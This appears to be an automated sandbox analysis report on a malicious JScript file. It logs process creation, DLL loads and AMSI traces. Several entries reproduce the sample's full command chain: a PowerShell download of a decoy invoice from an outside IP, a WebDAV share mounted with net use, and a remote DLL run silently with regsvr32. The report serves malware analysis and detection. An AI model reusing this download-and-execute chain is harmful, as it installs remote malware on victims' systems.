Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1055116600916029869.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3168:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bby23eqz.ct4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1568,i,5548128776833063472,11793685734987109013,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1568,i,5548128776833063472,11793685734987109013,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5650.js.csv");ITextStream.WriteLine(" entry:6993 f:dsbmtixep");ITextStream.WriteLine(" exec:2 f:dsbmtixep");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
